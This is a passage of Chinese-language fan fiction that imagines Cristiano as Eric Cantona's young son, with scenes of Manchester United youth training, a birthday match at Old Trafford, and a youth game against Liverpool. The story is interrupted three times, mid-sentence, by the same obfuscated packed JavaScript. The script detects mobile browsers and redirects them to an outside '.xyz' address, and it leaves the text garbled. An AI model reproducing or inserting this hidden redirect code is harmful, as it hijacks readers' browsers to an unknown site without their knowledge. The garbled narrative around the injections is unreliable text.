第一组结束，克里斯蒂亚诺排名倒数第三。他气喘吁吁地撑着膝盖，看见父亲正和弗格森在场边交谈。坎通纳没有看向这边，但克里斯蒂亚诺知道父亲一定在用余光观察。 “再来！”费兰的哨声刺破寒风，“这次脚踝绑沙袋！” 加重后的第二轮，克里斯蒂亚诺的鼻尖很快凝出汗珠。他的呼吸开始紊乱，但脑海中突然浮现父亲的话：“当身体想放弃时，精神必须多坚持十秒。” 最后二十米，他咬牙超过两名队员，排名升至第十一。 “罗纳尔多！”费兰叫住正往场边喝水的他，“知道你为什么落后吗？” 克里斯蒂亚诺茫然摇头。 “呼吸方式错了。”教练蹲下来，按住他的腹部，“短跑要腹式呼吸，像这样——” 远处，弗格森对坎通纳低声道：“你儿子有股狠劲，埃里克。但七岁就绑沙袋是不是太早了？” 坎通纳的目光追随着儿子第三次冲向终点的身影：“老板，您当年在格拉斯哥造船厂打工时，难道等肌肉长好才搬钢板吗？” 弗格森大笑，拍了拍他的后背：“下周带他来见我。预备队缺个球童。” 中午休息时，克里斯蒂亚诺独自在餐厅角落啃三明治。那个嘲笑他的U9队员突然坐到对面：“喂，法国佬，你爸爸真是坎通纳？” 克里斯蒂亚诺警惕地点点头。 “证明一下。”对方推过来一张餐巾纸，“让他给我签个名。” “自己要去！”克里斯蒂亚诺猛地站起来，“我不是快递员！” “哈！果然是冒牌货！”男孩故意提高音量，“说不定你妈妈只是——” 哗啦！一杯橙汁全泼在对方训练服上。整个餐厅瞬间安静，所有人都看向这个不到一米二的小豆丁。 “我爸爸说，”克里斯蒂亚诺声音发抖但字字清晰，“真正的曼联球员用脚说话。下午射门测试见！” 费兰闻讯赶来时，“橙汁事件”已传遍整个青训营。令人意外的是，教练只是挑了挑眉：“艾伦，去换衣服。克里斯蒂亚诺，过来帮忙搬训练锥筒。” 搬运途中，费兰突然问：“为什么泼果汁？” “他说我妈妈坏话。” “下次直接告诉我。”费兰把锥筒重重放在地上，“但在曼联，解决冲突的最好方式是——” “进球。”克里斯蒂亚诺脱口而出。 下午的射门测试成了私人对决。二十码外，艾伦五次射门进三球；轮到克里斯蒂亚诺时，他特意选了更远的二十五码位置。 “小子，那是U9的考核距离！”费兰提醒道。 克里斯蒂亚诺不答话，助跑后一记劲射——球如炮弹般窜入右上死角。第二次，他用脚内侧搓出弧线球；第三次，假动作晃过虚拟防守后低射破网…… “五球全中！”费兰的哨声带着惊喜，“技术评估满分！” 艾伦脸色铁青地离开场地。克里斯蒂亚诺正要欢呼，却看见父亲站在场边摇头——那是“还不够好”的信号。 回程的车上，坎通纳终于开口：“泼饮料很幼稚。” “可是他——” “真正的强者用实力让人闭嘴。”坎通纳单手转动方向盘，“不过……最后那个弧线球不错。” 这夸奖让克里斯蒂亚诺眼睛一亮。他扒着车窗看夜幕中的卡灵顿基地渐渐远去，忽然发现自己的倒影似乎比早晨高了一点点。 曼彻斯特的冬雨细密如针，克里斯蒂亚诺跪在卡灵顿基地的草皮上，浑身泥水混合着汗水，球衣紧贴着后背。费兰教练的哨声刺破雨幕：“最后十次射门！完不成就别想回家！” 二十码外的球门在雨中模糊成灰影。克里斯蒂亚诺抹了把脸上的雨水，将湿透的足球重重按在罚球点上——这是父亲昨晚特训时教他的小动作：“让球记住你的力量。” 第一脚，球滑出脚背，歪斜着飞向角旗。 第二脚，支撑腿在泥泞中打滑，射门绵软无力。 第三脚…… “停！”坎通纳的声音突然从场边传来。他撑着一把黑伞，西装裤脚沾满泥点，“脚踝发力方式错了。看着。” 伞被扔到一旁。坎通纳脱下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520591|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮鞋，赤脚踩进泥浆，接过儿子递来的球。助跑、摆腿、触球——足球划破雨帘直挂死角，溅起网窝一片水花。 “触球瞬间脚背绷直，像鞭子抽出去。”他拎起克里斯蒂亚诺的右脚，“这里，要锁死。” 克里斯蒂亚诺的牙齿咯咯打颤：“爸爸，我冷……” “冷？等你打进英超，会怀念这种冷。”坎通纳把外套裹在儿子身上，“继续！” 第七次射门时，球终于应声入网。克里斯蒂亚诺转身想庆祝，却发现父亲已回到场边，正和弗格森低声交谈。老特拉福德的国王此刻微微躬身，像学生在听导师教诲。 当晚，克里斯蒂亚诺泡在浴缸里背诵足球术语，膝盖上的擦伤被热水刺得生疼。艾米莉端着热牛奶进来时，发现儿子正对着瓷砖练习战术手势。 “妈妈，你知道‘压上造越位’的手势吗？”他扬起湿漉漉的手臂，“爸爸说裁判会这样……” “先喝牛奶，”艾米莉用浴巾裹住他，“你爸爸在书房发脾气呢。” 书房里，坎通纳正对着电话低吼：“我说过不接儿童广告！他是球员，不是马戏团猴子！” 克里斯蒂亚诺扒着门缝偷听，怀里的牛奶杯渐渐凉透。电话那头隐约传来经纪人的劝说：“埃里克，这是双赢……球迷喜欢看父子档……” “赢个屁！”坎通纳摔下听筒，转身看见儿子光脚站在门口，“克里斯，记住——”他蹲下身，手掌按在儿子胸口，“你的价值在球场，不在广告牌。” 周三的比赛日，克里斯蒂亚诺换上崭新的球童背心。老特拉福德的看台空荡荡的，但草皮的气息依旧让他心跳加速。弗格森特意将他安排在曼联替补席后方：“仔细看中场的跑位，特别是你爸爸的移动。” 比赛第35分钟，坎通纳被替换上场。克里斯蒂亚诺立刻抱起一筐足球跑到角旗区——这是球童的职责。他看见父亲向这边眨了眨眼，随即被预备队两人包夹。 坎通纳背身接球，突然用脚跟将球磕向克里斯蒂亚诺所在的方向。球童守则规定不能干预比赛，但克里斯蒂亚诺本能地将备用球踢回场内——完美的滚动轨迹让坎通纳顺势摆脱防守，直塞助攻得分！ “聪明的小子！”替补席爆发出欢呼。弗格森转头对助教低笑：“这算不算战术创新？” 赛后，坎通纳在球员通道拦住儿子：“知道刚才那招叫什么吗？” 克里斯蒂亚诺抱着脏兮兮的足球摇头。 “叫‘父子连线’。”坎通纳用球衣擦干儿子脸上的泥点，“但下不为例——裁判差点给你黄牌。” 圣诞前夜，青训营举行年终测试。克里斯蒂亚诺站在体重秤上——比月初重了1.5公斤，全是肌肉。费兰翻着测试报告：“折返跑进步12秒，对抗成功率提升到65%。不过……” “不过什么？”克里斯蒂亚诺急得跳脚。 “左脚传球准确率才71%。”费兰合上文件夹，“假期加练五百次传中。” 回程路上，坎通纳难得放了披头士的唱片。克里斯蒂亚诺在后座模仿主唱摇头晃脑，突然安静下来：“爸爸，我能在老特拉福德过生日吗？” “二月五日有主场对阵谢周三的比赛。”坎通纳从后视镜看他，“如果那时你……” “我会完成五百次传中！不，一千次！”克里斯蒂亚诺扑到前座椅背，“求你了爸爸！” 平安夜，克里斯蒂亚诺蜷缩在客厅地毯上等圣诞老人。午夜钟声响起时，他偷偷摸向圣诞树下的礼盒——不是球鞋，而是一本皮质训练日记。扉页上写着：“记录你的每一滴汗水。——爸爸” 阁楼传来脚步声。克里斯蒂亚诺踮脚望去，看见父亲正在整理旧物。马赛队的蓝色围巾、利兹联的白色护腕……最后，坎通纳打开一个铁盒，将曼联首秀的比赛用球放了进去。 “爸爸？” 坎通纳迅速合上铁盒：“怎么还不睡？” “这些……以后都会属于我吗？” “不，”坎通纳锁上铁盒，“你要创造自己的历史。” 窗外飘起细雪，老特拉福德的方向隐约传来《铃儿响叮当》的旋律。克里斯蒂亚诺抱紧训练日记，在落地窗上呵出一片白雾，画了个歪歪扭扭的7号。 1992年的最后一天，卡灵顿青训营的荣誉墙上多了一张照片：泥泞的训练场上，七岁的克里斯蒂亚诺正凌空抽射，背景里坎通纳的黑伞像一面沉默的旗帜。 11. 八岁的战歌 1993年2月5日清晨六点，曼彻斯特的雾气还未散尽，克里斯蒂亚诺已经醒了。他光着脚溜到父母卧室门口，把耳朵贴在门板上——里面传来父亲低沉的鼾声。 “克里斯？”艾米莉突然拉开房门，儿子差点栽进她怀里，“生日快乐，小冠军！” 克里斯蒂亚诺的棕绿色眼睛亮得惊人：“妈妈！我能现在拆礼物吗？就拆一个！” 艾米莉笑着把儿子推进浴室：“先刷牙洗脸。礼物要等爸爸起床一起拆。” 厨房飘来烤蛋糕的香气。克里斯蒂亚诺坐在餐桌前，脚丫悬空晃荡着，盯着墙上的挂钟数秒针转动。当坎通纳穿着睡袍出现时，他立刻跳下椅子：“爸爸！今天能让我当球童吗？弗格森先生答应过的！” 坎通纳往咖啡杯里丢了两块方糖：“先吃完早餐。还有——”他指了指墙角的训练包，“下午比赛前，完成三十次传中练习。” “今天是我生日！”克里斯蒂亚诺抗议。 “所以给你减了二十次。”坎通纳抿了口咖啡，“职业球员的生日在球场过才有意义。” 艾米莉端来插着八根蜡烛的煎蛋吐司：“许个愿吧。” 克里斯蒂亚诺闭眼三秒，吹灭蜡烛：“我许愿爸爸进三个球！” “说出来就不灵了，”坎通纳敲了下儿子的额头，“而且谢周三的后卫不是木头人。” 上午十点，老特拉福德的工作人员正在布置生日惊喜。克里斯蒂亚诺被母亲蒙着眼睛带进球场，耳边突然响起山呼海啸般的“生日快乐”——两百名季票球迷举着红白气球，在看台拼出巨大的“CR8”。 “这是……给我的？”克里斯蒂亚诺结结巴巴地问，小手攥紧了母亲的外套。 弗格森从球员通道走出，手里拎着件迷你版7号球衣：“小子，今天你是老特拉福德的小王子。不过——”他故意板起脸，“球童工作不能马虎。” 更衣室里，坎通纳正在缠绷带。克里斯蒂亚诺抱着装满足球的塑料筐蹭过来：“爸爸，球迷们叫我CR8，和你的7号好像！” “因为你是八岁的小麻烦，”坎通纳用绷带尾巴扫过儿子鼻尖，“过来，帮我检查鞋钉。” 克里斯蒂亚诺坐在地上一颗颗拧动鞋钉，突然发现父亲的小腿上有处瘀青：“这是上次德比战的伤吗？” “职业球员的勋章，”坎通纳套上球袜遮住伤痕，“记住，疼的时候要跑得更快。” 正午时分，家属看台飘起红色气球。克里斯蒂亚诺戴着特制的“CR8”袖标，在球童休息室来回踱步。工作人员老杰克递给他对讲机：“小寿星，今天你负责西侧角旗区。” “我能和爸爸击掌吗？像其他球童那样？” “除非他正好在你这边庆祝进球。” 开场哨响时，克里斯蒂亚诺看见父亲在中圈开球后突然加速，像把红色匕首直插对方腹地。 “传中！快传中！”他对着空气比划，直到被老杰克按回座位：“冷静点，你爸听得见吗？” 第二十三分钟，坎通纳在禁区边缘被放倒。克里斯蒂亚诺抱着急救箱就要冲出去，被老杰克一把薅住后领：“那是队医的活！你只负责捡球！” 任意球位置极佳。坎通纳后退五步，目光扫过球门右上角。克里斯蒂亚诺突然福至心灵，跳起来对着父亲比划“搓弧线”的手势——这是他们特训时的暗号。 助跑，起脚，足球划出诡异弧线绕过人墙。谢周三门将扑救时手套蹭到皮球，却无法阻止它钻入网窝！ “Goal！！！！” “坎通纳的生日礼物——送给他儿子的世界波！”解说员的声音响彻球场。 克里斯蒂亚诺冲向角旗区，被安保人员拦在广告牌外。坎通纳却径直跑来，隔着护栏捧住儿子发烫的小脸：“看到弧线了吗？” “像彩虹！”克里斯蒂亚诺尖叫。 “不，像八岁男孩的笑脸。”坎通纳的拇指擦过儿子眼角的泪花，转身跑回球场时，红衣翻涌如战旗。 比赛第三十七分钟，谢周三的进攻浪潮被曼联后防瓦解。布鲁斯一记精准长传找到坎通纳，红衣7号背身接球，突然用脚后跟将球磕向空当。吉格斯如红色闪电切入禁区，小角度推射破门。 克里斯蒂亚诺在西侧角旗区蹦跳着欢呼，怀里的备用球撒了一地。工作人员杰克手忙脚乱地捡球：“小祖宗！你得保证这里随时有备用球！” “知道啦！”克里斯蒂亚诺嘴上答应，眼睛却死死盯着正在庆祝的父亲。坎通纳没有像往常那样竖起衣领，而是对着家属看台比出“八”的手势。艾米莉所在的区域立刻爆发出欢呼，生日歌的旋律短暂压过了助威声。 上半场补时阶段，谢周三获得角球。克里斯蒂亚诺抱着球跑到角旗区，发现对方高大的中锋正瞪着自己。 “小鬼，把球给我。”中锋的约克郡口音混着唾沫星子。 克里斯蒂亚诺昂起头，用排练过无数次的英语回应：“请、请说‘请’。” 裁判忍俊不禁，看台传来哄笑。中锋涨红着脸弯下腰：“请给我球，小朋友。” “给你！”克里斯蒂亚诺用力把球抛过去，转身对杰克得意挑眉，“爸爸说，礼貌能打乱对手节奏！” 角球开出瞬间，坎通纳突然回撤到门线前。当所有人以为他要头球解围时，他却用大腿将球卸下，顺势趟过两名防守队员。老特拉福德屏住呼吸，只见他从中场开始奔袭，红衣掠过之处草屑飞溅。 克里斯蒂亚诺扒着广告牌，指甲几乎抠进塑料板里。谢周三的后卫且战且退，坎通纳在禁区弧顶突然急停，左脚兜出完美弧线—— “砰！” 足球击中横梁下沿砸入门线，反弹瞬间被门将捞出。裁判示意进球有效，谢周三球员立刻围住边裁抗议。 克里斯蒂亚诺的心脏快要跳出喉咙。他看见父亲径直走向场边摄像机，掀起球衣露出内衬上的金色字样：“ＣＲ８ ＨＡＰＰＹ ＢＩＲＴＨＤＡＹ”。 “妈妈！妈妈你看！”克里斯蒂亚诺指着大屏幕尖叫，全然忘记自己正在执勤。艾米莉在看台上抹眼泪，周围球迷纷纷伸手揉乱她的头发：“你们坎通纳家的男人都是魔术师！” 中场休息时，克里斯蒂亚诺被特许进入更衣室。他抱着冰桶挨个给球员递毛巾，轮到父亲时突然变戏法似的从背后掏出一块蛋糕：“弗格森先生特批的！只许吃一口！” 坎通纳的指尖沾了点奶油抹在儿子鼻尖：“下半场坐回妈妈身边，我要专心踢球。” “你保证再进一个？” “我保证让谢周三后悔今天穿鞋出门。” 球员通道里，谢周三教练正对着队员咆哮。坎通纳路过多媒体室时停住脚步——克里斯蒂亚诺被弗格森按在战术屏幕前，小手跟着录像回放比划跑位路线。 “……这里应该内切，对吗先生？” “聪明！不过要当心协防的后卫……” 坎通纳的嘴角微微扬起。他转身走向球场，红色战袍被通道的风鼓起，像一面猎猎作响的旗帜。 下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520592|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半场开赛前，克里斯蒂亚诺被艾米莉带回家属看台。他裹着父亲的红围巾，双手紧握栏杆，眼睛一眨不眨地盯着球员通道。当坎通纳第一个跑出通道时，他立刻跳起来大喊：“爸爸！这里！” 坎通纳抬头看向看台，对着儿子的方向轻轻点头。阳光穿过老特拉福德的顶棚，在他身上投下斑驳的光影，红色球衣在绿茵场上格外醒目。 “妈妈，爸爸会帽子戏法吗？”克里斯蒂亚诺拽着艾米莉的袖子问道。 艾米莉笑着揉了揉儿子的卷发：“足球比赛可没那么简单，亲爱的。谢周三肯定会加强防守。” 果然，下半场开始后，谢周三的防守变得异常凶狠。坎通纳每次拿球都会遭到两到三名球员的围堵。第五十三分钟，对方后卫一记飞铲将坎通纳放倒在地，裁判立刻掏出黄牌。 克里斯蒂亚诺紧张地抓住栏杆：“爸爸没事吧？” 坎通纳慢慢站起来，拍了拍膝盖上的草屑，脸上依然带着那种标志性的冷静。他走到罚球点前，将球稳稳放好，后退几步，目光锁定球门右上角。 助跑，起脚—— 足球划出一道完美的弧线，绕过人墙，直挂死角！ “Ｇoal！！！！” “坎通纳！帽子戏法！给儿子八岁生日的最佳礼物！”解说员的声音响彻整个老特拉福德。 克里斯蒂亚诺在看台上又蹦又跳，眼泪不自觉地流下来。他看见父亲跑到角旗区，对着看台比出“八”的手势，然后双手比心。全场球迷齐声高唱：“There''s only one Eric Cantona！There''s only one Eric Cantona！” 比赛第七十八分钟，弗格森将坎通纳换下场，让他独自接受全场球迷的掌声。克里斯蒂亚诺趴在栏杆上，拼命挥手，直到父亲的身影消失在球员通道。 终场哨响，曼联4：０完胜谢周三。克里斯蒂亚诺迫不及待地冲向更衣室，却被工作人员拦在门外：“罗纳尔多，稍等片刻，你爸爸在采访。” 更衣室里，记者们围着坎通纳七嘴八舌地提问：“埃里克，今天是你儿子的生日，这场胜利是送给他的礼物吗？” 坎通纳擦了擦汗，难得地露出微笑：“不，是他给我的礼物。每次看到他坐在看台上，我就想踢得更好一点。” 克里斯蒂亚诺听到这句话，鼻子一酸。他悄悄抹了抹眼睛，挺直腰板站在门外，努力让自己看起来像个大人。 十分钟后，更衣室门开了，记者们鱼贯而出。坎通纳走出来，手里拿着比赛用球：“给，生日礼物。” 克里斯蒂亚诺接过球，发现上面签满了曼联球员的名字，最上面是父亲的字迹：“致ＣＲ８，愿你的梦想比老特拉福德更大。——爸爸” “爸爸，今天是我最棒的生日！”克里斯蒂亚诺紧紧抱着球，抬头看着父亲，“我以后也要在这里踢球，像你一样！” 坎通纳蹲下身，平视儿子的眼睛：“记住今天的感觉。足球不仅仅是进球和胜利，更是……”他指了指克里斯蒂亚诺的胸口，“这里的热爱。” 回家的车上，克里斯蒂亚诺抱着比赛用球，时不时偷瞄父亲。坎通纳手握方向盘，目视前方，但嘴角微微上扬。 “爸爸，”克里斯蒂亚诺突然开口，“我能问你一个问题吗？” “说。” “为什么你总能进那么多球？” 坎通纳沉默片刻，轻声回答：“因为我从没停止奔跑，即使看不到球门的方向。” 12.青训营的考验 卡灵顿训练基地的草坪上，克里斯蒂亚诺独自在空荡的球场上来回奔跑，左脚将球踢向墙壁，又用右脚稳稳接住反弹回来的球。 “三十七、三十八……”他小声数着，额前的卷发已经被汗水浸湿。 “停球时脚踝要放松。”坎通纳的声音突然从背后传来。克里斯蒂亚诺猛地转身，看见父亲穿着训练服站在场边，手里拿着秒表。 “爸爸！你不是说九点才来吗？” “来看看你有没有偷懒。”坎通纳走到场中，用脚尖轻轻一挑，将球停在半空，“上周测试，你的左脚停球成功率只有65%。” 克里斯蒂亚诺撅起嘴：“可是我用左脚进球了！上周对内赛那个弧线球，费兰教练都说漂亮！” “一个进球掩盖不了技术缺陷。”坎通纳将球抛回给他，“再来二十组，我看着。” 晨训结束后，青训营的孩子们陆续到达。克里斯蒂亚诺的好友汤姆——一个红头发、满脸雀斑的曼彻斯特本地男孩，神秘兮兮地凑过来：“嘿，听说了吗？今天有特殊测试！” “什么测试？”克里斯蒂亚诺拧开水壶猛灌一口。 “对抗赛！U9对U10！”汤姆夸张地比划着，“那些大个子会碾碎我们的！” 费兰教练的哨声打断了他们的谈话。所有小球员列队站好，空气中弥漫着紧张的气息。 “今天进行跨年龄对抗赛。”费兰的目光扫过每个孩子，“U9穿蓝背心，U10穿红背心。罗纳尔多，你踢左边锋。” 更衣室里，克里斯蒂亚诺套上蓝色背心，发现自己的对手将是U10的主力后卫——比他高出整整一个头的杰克。那个金发男孩正在不远处做拉伸，肌肉线条已经隐约可见。 “你会被撞飞的，“汤姆忧心忡忡地说，“上周他撞断了U8一个孩子的门牙。” 克里斯蒂亚诺系紧鞋带，突然想起父亲今早的话：“面对比你强壮的对手时，记住——快一步思考，快半步行动。” 比赛开始后，杰克果然如影随形地跟着他。第一次对抗，克里斯蒂亚诺试图用速度突破，却被对方用身体挤出了边线。 “滚回幼儿园去吧，小豆丁！”杰克得意洋洋地捡起球。 场边，坎通纳和弗格森并肩而立。苏格兰老头摸了摸鼻子：“你儿子太瘦了，埃里克。” “看看他的眼睛，老板。”坎通纳轻声说，“那里面有火。” 果然，第二次拿球时，克里斯蒂亚诺改变了策略。他先是佯装内切，在杰克重心移动的瞬间突然变向，用脚后跟将球磕给插上的队友，自己则快速前插。虽然传球最终被拦截，但这个动作引来了场边一阵掌声。 “聪明的选择，”弗格森点点头，“知道什么时候该传球。” 上半场结束前，意外发生了。克里斯蒂亚诺在一次争抢中被杰克撞倒在地，膝盖重重磕在草皮上。他蜷缩着身体，眼泪在眼眶里打转。 场边的坎通纳身体微微前倾，但并没有移动脚步。费兰教练跑进场内：“需要换人吗？” 克里斯蒂亚诺抬起头，恰好看见父亲摇头的动作。他咬着嘴唇站起来：“我没事，教练。” 下半场，克里斯蒂亚诺的跑动更加灵活。第七分钟，他接到队友传球，面对杰克的防守突然一个急停，将球轻轻挑起——足球越过杰克头顶，克里斯蒂亚诺闪电般从他身侧绕过！ “漂亮的人球分过！”费兰在场边惊呼。 单刀面对门将，克里斯蒂亚诺的射门却打在立柱上弹回。他跪在地上狠狠捶了下草皮，耳边传来杰克的嘲笑：“花架子有什么用？” 比赛结束前最后五分钟，比分仍是0：0。克里斯蒂亚诺在边线附近得球，杰克立刻气势汹汹地扑来。这一次，克里斯蒂亚诺没有选择突破，而是看似随意地将球回传——却在传球瞬间眨了眨右眼。 中场的汤姆心领神会，一脚直塞打穿防线！克里斯蒂亚诺如离弦之箭插入禁区，接球后轻巧一扣，晃倒门将推射空门！ “Goal！！！！“ 进球后的克里斯蒂亚诺没有庆祝，而是径直跑到杰克面前：“花架子也能进球。” 场边，弗格森笑着拍了拍坎通纳的肩膀：“这小子连脾气都像你。” “不，“坎通纳看着被队友压在身下庆祝的儿子，“他比我八岁时强多了。” 训练结束后的更衣室里，克里斯蒂亚诺的膝盖上贴着创可贴，正用毛巾擦着湿漉漉的头发。汤姆凑过来，递给他一瓶橘子汽水：“你那招人球分过太酷了！杰克脸都气绿了！” “其实我是学爸爸的，”克里斯蒂亚诺拧开瓶盖，气泡喷了一手，“上周他对阵埃弗顿就这么过人的。” 更衣室的门突然被推开，坎通纳站在门口：“克里斯，加练半小时定位球。” “现在？”克里斯蒂亚诺看了眼窗外渐暗的天色，“可是费兰教练说……” “费兰教练回家了。”坎通纳抛过来一袋训练球，“你今天的射门打中门柱三次，说明脚法不稳。” 汤姆缩了缩脖子，悄悄溜走。克里斯蒂亚诺磨蹭着套上护腿板，小声嘀咕：“明明进了制胜球……” “制胜球掩盖不了问题。”坎通纳已经走到场边，用训练锥摆出人墙模型，“二十码任意球，五次机会，进三个算合格。” 第一次射门，球蹭到人墙顶端偏出。 第二次，球重重砸在横梁上。 第三次，足球绕过人墙却滑门而出。 “停！”坎通纳走进禁区，用鞋尖点了点草皮，“知道问题在哪吗？” 克里斯蒂亚诺盯着自己的右脚：“触球点太靠上了？” “是呼吸。”坎通纳突然按住儿子的胸口，“你助跑时憋气，肌肉会僵硬。”他示范性地深吸一口气，“起脚瞬间呼气，像这样——” 足球划过黄昏的天空，精准钻入右上死角。 克里斯蒂亚诺模仿着调整呼吸，第四次射门终于破网。进球后他下意识看向父亲，却见坎通纳正在接电话，眉头紧锁。 “下周去伦敦打客场，三天不回家。”挂断电话后，坎通纳捡回足球，“这三天你跟着费兰教练住宿舍。” “为什么不能和妈妈在家？” “因为我不在的时候，你需要保持训练纪律。”坎通纳用球衣下摆擦掉足球上的泥渍，“明早六点，我来检查你的早餐食谱。” 回家的路上，克里斯蒂亚诺把脸贴在车窗上。路灯一盏接一盏掠过，他突然问：“爸爸，你八岁时也这么训练吗？” “我八岁时在马赛的街头踢破罐头。”坎通纳换挡加速，“但你要记住——天赋需要比任何人都努力的训练来兑现。” 晚餐时，艾米莉端出炖牛肉，忧心忡忡地看着儿子膝盖上的淤青：“费兰教练说你们下周要和利物浦青训打友谊赛？” 克里斯蒂亚诺嘴里塞满土豆泥，含混不清地点头：“汤姆说他们的前锋会杀人式铲球……” “咽下去再说话。”坎通纳敲了敲桌子，“利物浦的踢法是凶狠，但不是野蛮。应对的关键在于——” “快一步思考，快半步行动！”克里斯蒂亚诺抢答，得意地挥舞叉子，“你说过好多遍了！” 艾米莉看着父子俩如出一辙的挑眉动作，无奈地笑了。 次日清晨五点半，克里斯蒂亚诺被闹钟惊醒。他摸黑下楼，发现厨房亮着灯——坎通纳正在煎蛋，平底锅里的油星溅到袖口也浑然不觉。 “爸爸？”克里斯蒂亚诺揉着眼睛，“你说六点检查早餐……” “坐下。”坎通纳推过餐盘，里面是精确称重的鸡胸肉、全麦面包和西兰花，“职业球员的早餐不能有果酱和巧克力。” 克里斯蒂亚诺苦着脸叉起水煮西兰花：“可是上次的生日蛋糕……” “那是全年唯一的例外。” 去训练基地的路上，克里斯蒂亚诺抱着足球打盹。坎通纳突然开口：“对付利物浦的边后卫，记住他们喜欢……” “……提前下脚。”克里斯蒂亚诺闭着眼接话，“费兰教练上周放录像分析过了。” 坎通纳从后视镜看了眼儿子，嘴角微微扬起。 卡灵顿基地的战术室里，费兰正在播放利物浦青训的比赛录像。画面中，红军队员一次次用身体对抗撞翻对手。 “他们是斗牛犬，”费兰敲着白板，“但斗牛犬的弱点是——” “转身慢！”克里斯蒂亚诺脱口而出，“我们可以用快速变向突破！” 费兰赞许地点点头：“明天对抗赛，你首发踢右路。” 训练场上，克里斯蒂亚诺主动加练变向技巧。他把六个训练锥摆成之字形，带球穿梭时不断用脚尖轻点足球，仿佛在跳一支危险的芭蕾。汤姆蹲在场边啃苹果，突然大喊：“克里斯！你爸爸来了！” 坎通纳站在场边看了五分钟，转身离开前留下一句：“左脚变向时的支撑脚太软。” 傍晚的战术会议上，弗格森意外现身。他指着克里斯蒂亚诺问费兰：“这小家伙的场均跑动距离多少？” “八千三百米，U9组第一。” “明天让他踢满全场。”弗格森在战术板上画了条斜线，“我需要看看他的极限。” 更衣室的储物柜前，克里斯蒂亚诺认真擦拭球鞋。汤姆凑过来小声说：“听说利物浦那个左边锋会咬人，上次把布莱克本的球员咬出血了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526173|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” “那是谣言！”费兰的声音突然响起，“但他们的对抗强度确实很大。记住——”他拍了拍克里斯蒂亚诺的肩膀，“恐惧比对手更可怕。” 利物浦青训基地的冷风卷着细雨，克里斯蒂亚诺站在球员通道里，听着外面球迷的嘘声像潮水般涌来。他低头摸了摸右膝上的绷带——这是今早坎通纳亲手给他缠的。 “怕吗？”汤姆撞了下他的肩膀，声音发颤。 克里斯蒂亚诺摇头，把护腿板又紧了紧：“爸爸说，嘘声是对手恐惧的证明。” 通道尽头的光骤然亮起。两队球员跑向球场时，利物浦U10的左边锋故意撞向克里斯蒂亚诺：“小心你的细腿，小跳蚤！” 比赛一开始，利物浦的“斗牛犬战术”就露出獠牙。克里斯蒂亚诺第一次触球，立刻有两名红军队员包夹过来。他试图变向突破，却被撞得踉跄倒地。裁判没有吹哨，看台上响起刺耳的嘲笑。 “站起来！”场边的费兰教练大吼，“用脑子踢球！” 第七分钟，克里斯蒂亚诺在右路得球。他想起录像分析——利物浦边卫习惯提前下脚。于是他在对方伸腿瞬间将球轻轻一捅，足球从对手裆下穿过！ “穿裆！漂亮！”连利物浦球迷都发出惊叹。克里斯蒂亚诺全速追球，却在底线前被回追的后卫撞出场外。 “没事吧？”汤姆跑来拉他。 克里斯蒂亚诺的胳膊擦出血痕，但他咧嘴一笑：“他们急了。” 上半场结束前，曼联获得角球。克里斯蒂亚诺悄悄退到禁区外——这是坎通纳教他的“第二落点战术”。汤姆的头球被扑出，足球正好落到他脚下。 “射门！”费兰在场边嘶吼。 克里斯蒂亚诺却用脚尖一挑，足球越过扑来的后卫，精准落在汤姆头顶！ “Goal！！！” 曼联1：0领先！利物浦门将愤怒地将球砸向草皮，克里斯蒂亚诺被队友们压在最下面，听见汤姆在耳边喊：“你这家伙比教练还会传球！” 下半场，利物浦的对抗升级。第五十三分钟，克里斯蒂亚诺带球突破时，对方左边锋直接亮出鞋钉踹向他的脚踝！ 刺耳的哨声响起。克里斯蒂亚诺蜷缩在草皮上，耳边嗡嗡作响。他听见费兰在场边咆哮：“这是谋杀！” 队医跑进场时，克里斯蒂亚诺已经自己站了起来。他一瘸一拐地走到罚球点，对方球员讥笑：“哭鼻子回家找妈妈吧！” 助跑，摆腿，射门——足球如利箭般穿透人墙缝隙，直挂死角！ “2：0！！！”曼联球迷看台炸开欢呼。克里斯蒂亚诺跑到场边，对着摄像机掀起球衣——内衬上写着爸爸教他的法语：“疼痛是胜利的印章。” 最后十分钟变成煎熬。利物浦球员的犯规越来越粗暴，克里斯蒂亚诺的球袜渗出血迹。第八十五分钟，他咬牙完成最后一次突破，用脚尖将球捅给插上的汤姆后，终于支撑不住跪倒在地。 担架进场时，他死死抓住草皮：“我能走！” 更衣室里，队医正在处理伤口，门突然被推开。坎通纳风尘仆仆地冲进来——他本该在伦敦备战，却出现在这里。 “爸爸？你怎么……” “闭嘴。”坎通纳单膝跪地检查儿子的脚踝，“骨头没事，只是皮外伤。”他转头对队医说，“请给我们五分钟。” 